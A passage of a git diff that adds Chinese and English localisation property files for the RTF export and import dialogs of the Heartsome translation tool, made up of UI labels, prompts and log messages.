b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf.properties @@ -0,0 +1,88 @@ +dialog.ExportRTFDilaog.Title = \u5c06 XLIFF \u6587\u4ef6\u5bfc\u51fa\u4e3a RTF +dialog.ExportRTFDilaog.lable.xliff = XLIFF \u6587\u4ef6\uff1a +dialog.ExportRTFDilaog.btnBrowseXLIFF = \u6d4f\u89c8(&B)... +dialog.ExportRTFDilaog.lable.lblInfo = \u5c06 XLIFF \u6587\u4ef6\u5bfc\u51fa\u4e3a RTF \u6587\u4ef6\u4ee5\u4f9b\u6821\u5bf9\u3002\u9ed8\u8ba4\u5bfc\u51fa\u7684\u5217\u5305\u62ec\u6587\u672c\u6bb5\u7f16\u53f7\u3001\u6e90\u6587\u548c\u8bd1\u6587\uff0c\u60a8\u8fd8\u53ef\u4ee5\u9009\u62e9\u5bfc\u51fa\u72b6\u6001\u548c\u6279\u6ce8\uff1a +dialog.ExportRTFDilaog.grpExport = \u5bfc\u51fa\u5185\u5bb9 +dialog.ExportRTFDilaog.btnStatus = \u72b6\u6001 +dialog.ExportRTFDilaog.btnComment = \u6279\u6ce8 +dialog.ExportRTFDilaog.label.rtfPath = \u5c06 RTF \u4fdd\u5b58\u5230\uff1a +dialog.ExportRTFDilaog.btnBrowseRTF = \u6d4f\u89c8(&W)... +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg0 = \u6253\u5f00 XLIFF \u6587\u4ef6 +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg1 = \u8bf7\u9009\u62e9\u8981\u5bfc\u51fa\u7684 XLIFF \u6587\u4ef6\uff1a +dialog.ExportRTFDilaog.btnBrowseRTF.msg0 = \u4fdd\u5b58 RTF \u6587\u4ef6 +dialog.ExportRTFDilaog.ok.title = \u63d0\u793a +dialog.ExportRTFDilaog.ok.msg0 = \u8bf7\u9009\u62e9\u8981\u5bfc\u51fa\u7684 XLIFF \u6587\u4ef6\u3002 +dialog.ExportRTFDilaog.ok.msg1 = XLIFF \u6587\u4ef6\u672a\u8bbe\u7f6e\u6e90\u8bed\u8a00\uff0c\u8bf7\u5148\u8bbe\u7f6e\u6e90\u8bed\u8a00\u3002 +dialog.ExportRTFDilaog.ok.msg2 = XLIFF \u6587\u4ef6\u672a\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\uff0c\u8bf7\u5148\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\u3002 +dialog.ExportRTFDilaog.ok.msg3 = \u8bf7\u9009\u62e9 RTF \u6587\u4ef6\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.ExportRTFDilaog.ok.msg4 = XLIFF \u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\u5df2\u6210\u529f\u5bfc\u51fa\u5230 RTF \u4e2d\u3002 +dialog.ExportRTFDilaog.ok.msg5 = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u7684\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +dialog.ExportRTFDilaog.logger = [LOG] \u83b7\u53d6\u6240\u9009 XLIFF \u6587\u4ef6\u7684\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg2 = \u8bf7\u53d6 XLIFF \u6587\u4ef6\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +dialog.ExportRTFDilaog.btnBrowseXLIFF.logger = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ExportRTFDilaog.groupFilter = \u5bfc\u51fa\u65b9\u5f0f +dialog.ExportRTFDilaog.btnExclude = \u6392\u9664 +dialog.ExportRTFDilaog.btnOnlyExport = \u4ec5\u5bfc\u51fa +dialog.ExportRTFDilaog.groupExclude = \u6392\u9664 +dialog.ExportRTFDilaog.btnExcludeLocked = \u5df2\u9501\u5b9a\u6587\u672c\u6bb5 +dialog.ExportRTFDilaog.btnExclude101 = \u4e0a\u4e0b\u6587\u5339\u914d\u6587\u672c\u6bb5 +dialog.ExportRTFDilaog.btnExclude100 = \u5b8c\u5168\u5339\u914d\u6587\u672c\u6bb5 +dialog.ExportRTFDilaog.groupOnlyExport = \u4ec5\u5bfc\u51fa +dialog.ExportRTFDilaog.btnOnlyExportNote = \u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5 +dialog.ExportRTFDilaog.btnOnlyExportReview = \u5e26\u7591\u95ee\u7684\u6587\u672c\u6bb5 + +# dialog.ExportRTFDilaogAndExportRTFHandler.msg1 = \u8bf7\u4e3a\u4ee5\u4e0b\u6240\u6709\u6587\u4ef6\u8bbe\u7f6e\u76f8\u540c\u7684\u76ee\u6807\u8bed\u8a00\uff1a +# dialog.ExportRTFDilaogAndExportRTFHandler.msg2 = \u8bf7\u4e3a\u4ee5\u4e0b\u6587\u4ef6\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\uff1a + +dialog.ImportRTFDialog.Title = \u5bfc\u5165 RTF \u4ee5\u66f4\u65b0 XLIFF +dialog.ImportRTFDialog.groupXLIFF = \u5f85\u66f4\u65b0\u7684 XLIFF +dialog.ImportRTFDialog.lable.xliff = XLIFF \u6587\u4ef6\uff1a +dialog.ImportRTFDialog.btnBrowseXLIFF = \u6d4f\u89c8(&W)... +dialog.ImportRTFDialog.label.rtf = RTF \u6587\u4ef6\uff1a +dialog.ImportRTFDialog.btnBrowseRTF = \u6d4f\u89c8(&B)... +dialog.ImportRTFDialog.btnBrowseXLIFF.msg0 = \u6253\u5f00 XLIFF \u6587\u4ef6 +dialog.ImportRTFDialog.btnBrowseXLIFF.msg1 = \u9009\u62e9\u8981\u66f4\u65b0\u7684 XLIFF \u6587\u4ef6\uff1a +dialog.ImportRTFDialog.btnBrowseRTF.msg = \u6253\u5f00 RTF \u6587\u4ef6 +dialog.ImportRTFDialog.btnBrowseRTF.filter = Rich Text Format [*.rtf] +dialog.ImportRTFDialog.ok.title = \u63d0\u793a +dialog.ImportRTFDialog.ok.msg0 = \u8bf7\u9009\u62e9\u8981\u66f4\u65b0\u7684 XLIFF \u6587\u4ef6\u3002 +dialog.ImportRTFDialog.ok.msg1 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 RTF \u6587\u4ef6\u3002 +dialog.ImportRTFDialog.ok.jobTitle = \u5bfc\u5165 RTF +dialog.ImportRTFDialog.logger1 = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef + +importer.ImportRTFToXLIFF.logger1 = [LOG] \u5bfc\u5165 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +importer.ImportRTFToXLIFF.logger2 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +importer.ImportRTFToXLIFF.jobTitle.0 = \u6b63\u5728\u5bfc\u5165 RTF \u6587\u4ef6\uff0c\u8bf7\u7a0d\u5019... +importer.ImportRTFToXLIFF.jobTitle.1 = \u6b63\u5728\u5bfc\u5165 RTF \u6587\u4ef6... +importer.ImportRTFToXLIFF.jobTitle.2 = \u6b63\u5728\u8bfb\u53d6 RTF \u6587\u4ef6\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.3 = \u6b63\u5728\u6784\u5efa\u7ec4\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.4 = \u6b63\u5728\u89e3\u6790\u7ec4\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.5 = \u6b63\u5728\u5904\u7406\u7ec4\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.6 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.7 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684 {}\\ \u7b26\u53f7... +importer.ImportRTFToXLIFF.jobTitle.8 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684\u5176\u5b83\u76f8\u5173\u6807\u8bb0... +importer.ImportRTFToXLIFF.jobTitle.9 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684 \\{} \u6807\u8bb0... +importer.ImportRTFToXLIFF.jobTitle.10 = \u6b63\u5728\u5904\u7406\u6240\u5206\u5272\u7684\u6bcf\u6bb5\u5185\u5bb9... +importer.ImportRTFToXLIFF.msg.title = \u63d0\u793a +importer.ImportRTFToXLIFF.msg = RTF \u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u72b6\u6001\u5305\u542b\u975e\u6cd5\u5b57\u7b26\uff0c\u8be5\u5185\u5bb9\u5c06\u88ab\u8df3\u8fc7\u4e0d\u5bfc\u5165\u3002 + +exporter.XLIFF2RTFUtil.msg.title = \u63d0\u793a +exporter.XLIFF2RTFUtil.msg = \u751f\u6210 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +exporter.XLIFF2RTFUtil.logger = [LOG] \u751f\u6210 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +exporter.XLIFF2RTFUtil.msg.title2 = \u786e\u8ba4 +exporter.XLIFF2RTFUtil.msg2 = RTF \u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +exporter.RTFTemplateExporter.logger = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +exporter.RTFTemplateExporter.msg.title = \u63d0\u793a +exporter.RTFTemplateExporter.msg = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 + +handler.ExportRTFHandler.msg.title = \u63d0\u793a +handler.ExportRTFHandler.msg1 = \u4e00\u6b21\u53ea\u80fd\u5bfc\u51fa\u4e00\u4e2a XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.ExportRTFHandler.msg2 = \u65e0\u6cd5\u5bfc\u51fa\u5408\u5e76\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 + +handler.ImportRTFHandler.msg.title = \u63d0\u793a +handler.ImportRTFHandler.msg1 = \u4e00\u6b21\u53ea\u80fd\u5bfc\u5165\u4e00\u4e2a XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.ImportRTFHandler.msg2 = \u65e0\u6cd5\u5bfc\u5165\u5230\u5408\u5e76\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\u4e2d\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 + +##################### 2012-08-09 ############################ +exporter.XLIFF2RTFUtil.msg3 = \u6587\u4ef6 {0} \u5df2\u7ecf\u6253\u5f00\uff0c\u4e0d\u80fd\u8fdb\u884c\u8986\u76d6\u64cd\u4f5c diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf_en.properties b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf_en.properties new file mode 100644 index 0000000..943e3e1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf_en.properties @@ -0,0 +1,88 @@ +dialog.ExportRTFDilaog.Title = Export XLIFF file as RTF +dialog.ExportRTFDilaog.lable.xliff = XLIFF file: +dialog.ExportRTFDilaog.btnBrowseXLIFF = &Browse... +dialog.ExportRTFDilaog.lable.lblInfo = Export XLIFF file as an RTF file for proofreading. Default columns for export include ID, Source and Target. You can also choose to export Status and Comments: +dialog.ExportRTFDilaog.grpExport = Export to RTF +dialog.ExportRTFDilaog.btnStatus = Status +dialog.ExportRTFDilaog.btnComment = Comments +dialog.ExportRTFDilaog.label.rtfPath = Save RTF to: +dialog.ExportRTFDilaog.btnBrowseRTF = Bro&wse... +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg0 = Open XLIFF file +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg1 = Please select XLIFF file to export: +dialog.ExportRTFDilaog.btnBrowseRTF.msg0 = Save RTF file +dialog.ExportRTFDilaog.ok.title = Message +dialog.ExportRTFDilaog.ok.msg0 = Please select XLIFF file to export. +dialog.ExportRTFDilaog.ok.msg1 = Source language of XLIFF file has not been set, please set the source language. +dialog.ExportRTFDilaog.ok.msg2 = Target language of XLIFF file has not been set, please set the target language. +dialog.ExportRTFDilaog.ok.msg3 = Please select a location for exported RTF file. +dialog.ExportRTFDilaog.ok.msg4 = XLIFF file has been successfully exported to RTF. +dialog.ExportRTFDilaog.ok.msg5 = An error occured when reading the language of the XLIFF file, please try again. +dialog.ExportRTFDilaog.logger = [LOG] \u83b7\u53d6\u6240\u9009 XLIFF \u6587\u4ef6\u7684\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg2 = An error occured when reading XLIFF file information, please try again. +dialog.ExportRTFDilaog.btnBrowseXLIFF.logger = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ExportRTFDilaog.groupFilter = Export Type +dialog.ExportRTFDilaog.btnExclude = Exclude +dialog.ExportRTFDilaog.btnOnlyExport = Only Export +dialog.ExportRTFDilaog.groupExclude = Exclude +dialog.ExportRTFDilaog.btnExcludeLocked = Locked +dialog.ExportRTFDilaog.btnExclude101 = Context matches +dialog.ExportRTFDilaog.btnExclude100 = Exact matches +dialog.ExportRTFDilaog.groupOnlyExport = Only Export +dialog.ExportRTFDilaog.btnOnlyExportNote = Segments with comments +dialog.ExportRTFDilaog.btnOnlyExportReview = Pending segments + +# dialog.ExportRTFDilaogAndExportRTFHandler.msg1 = \u8bf7\u4e3a\u4ee5\u4e0b\u6240\u6709\u6587\u4ef6\u8bbe\u7f6e\u76f8\u540c\u7684\u76ee\u6807\u8bed\u8a00\uff1a +# dialog.ExportRTFDilaogAndExportRTFHandler.msg2 = \u8bf7\u4e3a\u4ee5\u4e0b\u6587\u4ef6\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\uff1a + +dialog.ImportRTFDialog.Title = Import RTF to update XLIFF +dialog.ImportRTFDialog.groupXLIFF = XLIFF to be updated +dialog.ImportRTFDialog.lable.xliff = XLIFF file: +dialog.ImportRTFDialog.btnBrowseXLIFF = Bro&wse... +dialog.ImportRTFDialog.label.rtf = RTF file: +dialog.ImportRTFDialog.btnBrowseRTF = &Browse... +dialog.ImportRTFDialog.btnBrowseXLIFF.msg0 = Open XLIFF file +dialog.ImportRTFDialog.btnBrowseXLIFF.msg1 = Select XLIFF files to be updated: +dialog.ImportRTFDialog.btnBrowseRTF.msg = Open the RTF file +dialog.ImportRTFDialog.btnBrowseRTF.filter = Rich Text Format [*.rtf] +dialog.ImportRTFDialog.ok.title = Message +dialog.ImportRTFDialog.ok.msg0 = Please select XLIFF files to be updated. +dialog.ImportRTFDialog.ok.msg1 = Please select RTF files to import. +dialog.ImportRTFDialog.ok.jobTitle = Import RTF +dialog.ImportRTFDialog.logger1 = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef + +importer.ImportRTFToXLIFF.logger1 = [LOG] \u5bfc\u5165 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +importer.ImportRTFToXLIFF.logger2 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +importer.ImportRTFToXLIFF.jobTitle.0 = Importing RTF files, please wait... +importer.ImportRTFToXLIFF.jobTitle.1 = Importing RTF files... +importer.ImportRTFToXLIFF.jobTitle.2 = Reading RTF file contents... +importer.ImportRTFToXLIFF.jobTitle.3 = Creating group contents... +importer.ImportRTFToXLIFF.jobTitle.4 = Parsing group contents... +importer.ImportRTFToXLIFF.jobTitle.5 = Processing group contents... +importer.ImportRTFToXLIFF.jobTitle.6 = Parsing the contents of the file... +importer.ImportRTFToXLIFF.jobTitle.7 = Parsing {}\\ symbols in files... +importer.ImportRTFToXLIFF.jobTitle.8 = Parsing other related tags in the file... +importer.ImportRTFToXLIFF.jobTitle.9 = Parsing \\{} marks in files... +importer.ImportRTFToXLIFF.jobTitle.10 = Processing each piece of content split... +importer.ImportRTFToXLIFF.msg.title = Message +importer.ImportRTFToXLIFF.msg = Segments in the RTF file contain illegal characters, these segments will be skipped. + +exporter.XLIFF2RTFUtil.msg.title = Message +exporter.XLIFF2RTFUtil.msg = An error occured when generating RTF file, please try again. +exporter.XLIFF2RTFUtil.logger = [LOG] \u751f\u6210 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +exporter.XLIFF2RTFUtil.msg.title2 = Confirm +exporter.XLIFF2RTFUtil.msg2 = RTF file {0} already exists. Are you sure you want to overwrite it? + +exporter.RTFTemplateExporter.logger = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +exporter.RTFTemplateExporter.msg.title = Message +exporter.RTFTemplateExporter.msg = An error occured when reading the XLIFF file. Please try again. + +handler.ExportRTFHandler.msg.title = Message +handler.ExportRTFHandler.msg1 = You can only export one XLIFF file at a time, please select again. +handler.ExportRTFHandler.msg2 = You can not export XLIFF files opened in one tab, please select again. + +handler.ImportRTFHandler.msg.title = Message +handler.ImportRTFHandler.msg1 = You can only import one XLIFF file at a time, please select again. +handler.ImportRTFHandler.msg2 = Cannot import into XLIFF files opened in one tab, please select again. + +##################### 2012-08-09 ############################ +exporter.XLIFF2RTFUtil.msg3 = File {0} is already open, you can not overwrite it. diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf_zh.properties b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf_zh.properties new file mode 100644 index 0000000..fdd9a58 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf_zh.properties @@ -0,0 +1,88 @@ +dialog.ExportRTFDilaog.Title = \u5c06 XLIFF \u6587\u4ef6\u5bfc\u51fa\u4e3a RTF +dialog.ExportRTFDilaog.lable.xliff = XLIFF \u6587\u4ef6\uff1a +dialog.ExportRTFDilaog.btnBrowseXLIFF = \u6d4f\u89c8(&B)... +dialog.ExportRTFDilaog.lable.lblInfo = \u5c06 XLIFF \u6587\u4ef6\u5bfc\u51fa\u4e3a RTF \u6587\u4ef6\u4ee5\u4f9b\u6821\u5bf9\u3002\u9ed8\u8ba4\u5bfc\u51fa\u7684\u5217\u5305\u62ec\u6587\u672c\u6bb5\u7f16\u53f7\u3001\u6e90\u6587\u548c\u8bd1\u6587\uff0c\u60a8\u8fd8\u53ef\u4ee5\u9009\u62e9\u5bfc\u51fa\u72b6\u6001\u548c\u6279\u6ce8\uff1a +dialog.ExportRTFDilaog.grpExport = \u5bfc\u51fa\u5185\u5bb9 +dialog.ExportRTFDilaog.btnStatus = \u72b6\u6001 +dialog.ExportRTFDilaog.btnComment = \u6279\u6ce8 +dialog.ExportRTFDilaog.label.rtfPath = \u5c06 RTF \u4fdd\u5b58\u5230\uff1a +dialog.ExportRTFDilaog.btnBrowseRTF = \u6d4f\u89c8(&W)... +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg0 = \u6253\u5f00 XLIFF \u6587\u4ef6 +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg1 = \u8bf7\u9009\u62e9\u8981\u5bfc\u51fa\u7684 XLIFF \u6587\u4ef6\uff1a +dialog.ExportRTFDilaog.btnBrowseRTF.msg0 = \u4fdd\u5b58 RTF \u6587\u4ef6 +dialog.ExportRTFDilaog.ok.title = \u63d0\u793a +dialog.ExportRTFDilaog.ok.msg0 = \u8bf7\u9009\u62e9\u8981\u5bfc\u51fa\u7684 XLIFF \u6587\u4ef6\u3002 +dialog.ExportRTFDilaog.ok.msg1 = XLIFF \u6587\u4ef6\u672a\u8bbe\u7f6e\u6e90\u8bed\u8a00\uff0c\u8bf7\u5148\u8bbe\u7f6e\u6e90\u8bed\u8a00\u3002 +dialog.ExportRTFDilaog.ok.msg2 = XLIFF \u6587\u4ef6\u672a\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\uff0c\u8bf7\u5148\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\u3002 +dialog.ExportRTFDilaog.ok.msg3 = \u8bf7\u9009\u62e9 RTF \u6587\u4ef6\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.ExportRTFDilaog.ok.msg4 = XLIFF \u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\u5df2\u6210\u529f\u5bfc\u51fa\u5230 RTF \u4e2d\u3002 +dialog.ExportRTFDilaog.ok.msg5 = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u7684\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +dialog.ExportRTFDilaog.logger = [LOG] \u83b7\u53d6\u6240\u9009 XLIFF \u6587\u4ef6\u7684\u8bed\u8a00\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ExportRTFDilaog.btnBrowseXLIFF.msg2 = \u8bf7\u53d6 XLIFF \u6587\u4ef6\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +dialog.ExportRTFDilaog.btnBrowseXLIFF.logger = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ExportRTFDilaog.groupFilter = \u5bfc\u51fa\u65b9\u5f0f +dialog.ExportRTFDilaog.btnExclude = \u6392\u9664 +dialog.ExportRTFDilaog.btnOnlyExport = \u4ec5\u5bfc\u51fa +dialog.ExportRTFDilaog.groupExclude = \u6392\u9664 +dialog.ExportRTFDilaog.btnExcludeLocked = \u5df2\u9501\u5b9a\u6587\u672c\u6bb5 +dialog.ExportRTFDilaog.btnExclude101 = \u4e0a\u4e0b\u6587\u5339\u914d\u6587\u672c\u6bb5 +dialog.ExportRTFDilaog.btnExclude100 = \u5b8c\u5168\u5339\u914d\u6587\u672c\u6bb5 +dialog.ExportRTFDilaog.groupOnlyExport = \u4ec5\u5bfc\u51fa +dialog.ExportRTFDilaog.btnOnlyExportNote = \u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5 +dialog.ExportRTFDilaog.btnOnlyExportReview = \u5e26\u7591\u95ee\u7684\u6587\u672c\u6bb5 + +# dialog.ExportRTFDilaogAndExportRTFHandler.msg1 = \u8bf7\u4e3a\u4ee5\u4e0b\u6240\u6709\u6587\u4ef6\u8bbe\u7f6e\u76f8\u540c\u7684\u76ee\u6807\u8bed\u8a00\uff1a +# dialog.ExportRTFDilaogAndExportRTFHandler.msg2 = \u8bf7\u4e3a\u4ee5\u4e0b\u6587\u4ef6\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\uff1a + +dialog.ImportRTFDialog.Title = \u5bfc\u5165 RTF \u4ee5\u66f4\u65b0 XLIFF +dialog.ImportRTFDialog.groupXLIFF = \u5f85\u66f4\u65b0\u7684 XLIFF +dialog.ImportRTFDialog.lable.xliff = XLIFF \u6587\u4ef6\uff1a +dialog.ImportRTFDialog.btnBrowseXLIFF = \u6d4f\u89c8(&W)... +dialog.ImportRTFDialog.label.rtf = RTF \u6587\u4ef6\uff1a +dialog.ImportRTFDialog.btnBrowseRTF = \u6d4f\u89c8(&B)... +dialog.ImportRTFDialog.btnBrowseXLIFF.msg0 = \u6253\u5f00 XLIFF \u6587\u4ef6 +dialog.ImportRTFDialog.btnBrowseXLIFF.msg1 = \u9009\u62e9\u8981\u66f4\u65b0\u7684 XLIFF \u6587\u4ef6\uff1a +dialog.ImportRTFDialog.btnBrowseRTF.msg = \u6253\u5f00 RTF \u6587\u4ef6 +dialog.ImportRTFDialog.btnBrowseRTF.filter = Rich Text Format [*.rtf] +dialog.ImportRTFDialog.ok.title = \u63d0\u793a +dialog.ImportRTFDialog.ok.msg0 = \u8bf7\u9009\u62e9\u8981\u66f4\u65b0\u7684 XLIFF \u6587\u4ef6\u3002 +dialog.ImportRTFDialog.ok.msg1 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 RTF \u6587\u4ef6\u3002 +dialog.ImportRTFDialog.ok.jobTitle = \u5bfc\u5165 RTF +dialog.ImportRTFDialog.logger1 = [LOG] \u83b7\u53d6 XLIFF \u6587\u4ef6\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef + +importer.ImportRTFToXLIFF.logger1 = [LOG] \u5bfc\u5165 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +importer.ImportRTFToXLIFF.logger2 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +importer.ImportRTFToXLIFF.jobTitle.0 = \u6b63\u5728\u5bfc\u5165 RTF \u6587\u4ef6\uff0c\u8bf7\u7a0d\u5019... +importer.ImportRTFToXLIFF.jobTitle.1 = \u6b63\u5728\u5bfc\u5165 RTF \u6587\u4ef6... +importer.ImportRTFToXLIFF.jobTitle.2 = \u6b63\u5728\u8bfb\u53d6 RTF \u6587\u4ef6\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.3 = \u6b63\u5728\u6784\u5efa\u7ec4\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.4 = \u6b63\u5728\u89e3\u6790\u7ec4\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.5 = \u6b63\u5728\u5904\u7406\u7ec4\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.6 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u5185\u5bb9... +importer.ImportRTFToXLIFF.jobTitle.7 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684 {}\\ \u7b26\u53f7... +importer.ImportRTFToXLIFF.jobTitle.8 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684\u5176\u5b83\u76f8\u5173\u6807\u8bb0... +importer.ImportRTFToXLIFF.jobTitle.9 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6\u4e2d\u7684 \\{} \u6807\u8bb0... +importer.ImportRTFToXLIFF.jobTitle.10 = \u6b63\u5728\u5904\u7406\u6240\u5206\u5272\u7684\u6bcf\u6bb5\u5185\u5bb9... +importer.ImportRTFToXLIFF.msg.title = \u63d0\u793a +importer.ImportRTFToXLIFF.msg = RTF \u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u72b6\u6001\u5305\u542b\u975e\u6cd5\u5b57\u7b26\uff0c\u8be5\u5185\u5bb9\u5c06\u88ab\u8df3\u8fc7\u4e0d\u5bfc\u5165\u3002 + +exporter.XLIFF2RTFUtil.msg.title = \u63d0\u793a +exporter.XLIFF2RTFUtil.msg = \u751f\u6210 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +exporter.XLIFF2RTFUtil.logger = [LOG] \u751f\u6210 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +exporter.XLIFF2RTFUtil.msg.title2 = \u786e\u8ba4 +exporter.XLIFF2RTFUtil.msg2 = RTF \u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +exporter.RTFTemplateExporter.logger = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +exporter.RTFTemplateExporter.msg.title = \u63d0\u793a +exporter.RTFTemplateExporter.msg = \u8bfb\u53d6 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 + +handler.ExportRTFHandler.msg.title = \u63d0\u793a +handler.ExportRTFHandler.msg1 = \u4e00\u6b21\u53ea\u80fd\u5bfc\u51fa\u4e00\u4e2a XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.ExportRTFHandler.msg2 = \u65e0\u6cd5\u5bfc\u51fa\u5408\u5e76\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 + +handler.ImportRTFHandler.msg.title = \u63d0\u793a +handler.ImportRTFHandler.msg1 = \u4e00\u6b21\u53ea\u80fd\u5bfc\u5165\u4e00\u4e2a XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.ImportRTFHandler.msg2 = \u65e0\u6cd5\u5bfc\u5165\u5230\u5408\u5e76\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\u4e2d\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 + +##################### 2012-08-09 ############################ +exporter.XLIFF2RTFUtil.msg3 = \u6587\u4ef6 {0} \u5df2\u7ecf\u6253\u5f00\uff0c\u4e0d\u80fd\u8fdb\u884c\u8986\u76d6\u64cd\u4f5c diff --git a/ts/net.heartsome.cat.ts.ui.term/.classpath 